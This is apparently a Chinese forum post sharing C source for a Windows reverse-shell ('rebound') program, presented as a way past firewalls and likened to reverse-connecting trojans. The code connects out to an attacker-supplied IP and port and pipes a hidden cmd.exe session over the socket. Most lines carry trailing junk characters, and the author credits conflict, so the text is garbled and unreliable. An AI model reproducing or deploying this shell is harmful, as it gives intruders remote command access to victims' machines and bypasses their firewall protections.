这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h7lDHIQf
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/* ==============================
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Rebound port in Windows NT CYY=R'1:G{
By wind,2006/7 42$VhdG
===============================*/ \o*5
#include /<|%yE&KhJ
#include 128EPK
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#pragma comment(lib,"wsock32.lib") QI'Oz{vE
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void OutputShell(); \fz<.l]
SOCKET sClient; d928~y
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R;uvkg[o
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void main(int argc,char **argv) lrlgz[
{ :LF?
WSADATA stWsaData; -#u=\8
int nRet; cUKE
SOCKADDR_IN stSaiClient,stSaiServer; g?goZPZB
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if(argc != 3) S9]'?|
{ ]%@M>?Ywc
printf("Useage:\n\rRebound DestIP DestPort\n"); v_+{'F
return; \XCe22x]
} &^ 1$^=
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WSAStartup(MAKEWORD(2,2),&stWsaData); x<tb
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dp,L/1GQ8
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stSaiClient.sin_family = AF_INET; fphv
stSaiClient.sin_port = htons(0); @ym v< Mo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3]}D`Qs6
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JVvs-bK5
{ ^ Edfv5
printf("Bind Socket Failed!\n"); I| w"/"U
return; Elcj tYu4
} o4G ?nvK-
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stSaiServer.sin_family = AF_INET; Pr':51(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?pW`cFLDHF
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4[m`#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BTqS'NuT
{ }eCw6
printf("Connect Error!"); ;w{tv($$
return; b|l:fT?&
} dyz2.ZY~2
OutputShell(); 6a(yp3
} Q|S.R1L^
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void OutputShell() @>r._~
{ {j.bC@hWw
char szBuff[1024]; [_R~%Yh+'E
SECURITY_ATTRIBUTES stSecurityAttributes; *v;2PP[^
OSVERSIONINFO stOsversionInfo; [\^n=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =MQoC:l
STARTUPINFO stStartupInfo; b z`+ k,*
char *szShell; B]nEkO'a:
PROCESS_INFORMATION stProcessInformation; K[I=6
unsigned long lBytesRead; 6KXtcXQ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -^&<Z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !j9t*2m[
stSecurityAttributes.lpSecurityDescriptor = 0; G,&<<2{(f;
stSecurityAttributes.bInheritHandle = TRUE; ,`'Qi%O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H9'$C/w
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); AFq~QXmr)
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4X!/hI=jq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |6.l7u?d
stStartupInfo.wShowWindow = SW_HIDE; RVZ")Z(
stStartupInfo.hStdInput = hReadPipe; .T}Wdng
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y4J3-wK5
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GetVersionEx(&stOsversionInfo); >@U*~Nz
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switch(stOsversionInfo.dwPlatformId) rlML W
{ 8EZ$g<}
case 1: $jjfC
szShell = "command.com"; fW{(lPx
break; FI)17i$
default: Sgeh %f
szShell = "cmd.exe"; ^P[e1?SZG
break; 4zXFuTr($
} F|IAiE
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *l"T$H
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send(sClient,szMsg,77,0); 5Y.)("1f}f
while(1) +! ]zA4x
{ ny]?I
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); } +TORR?
if(lBytesRead) Fe# 1
{ oTEL?hw5
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B~'vCuE
send(sClient,szBuff,lBytesRead,0); ]tim,7s
} |T<_ 5Ik
else B?OFe'*
{ 5-FQMXgThc
lBytesRead=recv(sClient,szBuff,1024,0); 8f_l}k$Eg
if(lBytesRead<=0) break; hXcyoZ8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #QS`_TlKk
} OsTc5K.U~
} +=>,Pto<
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return; C1V|0hu
}